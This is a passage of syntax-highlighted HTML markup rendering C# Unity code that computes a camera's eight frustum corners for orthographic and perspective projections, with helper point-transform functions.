class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eSetFrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCamera\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransform\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enearClipPlane\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efarClipPlane\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eorthographic\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Camera.CalculateFrustumCorners 不支持正交投影\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// The orthographicSize is half the size of the vertical viewing volume.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// The horizontal size of the viewing volume depends on the aspect ratio.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eorthographicSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003easpect\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 顺序要和下一个分支里的一致\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// https://docs.unity3d.com/6000.0/Documentation/ScriptReference/Camera.CalculateFrustumCorners.html\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// The order of the corners is lower left, upper left, upper right, lower right.\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMonoOrStereoscopicEye\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eeye\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMonoOrStereoscopicEye\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMono\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCalculateFrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eeye\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCalculateFrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eeye\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTransform\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 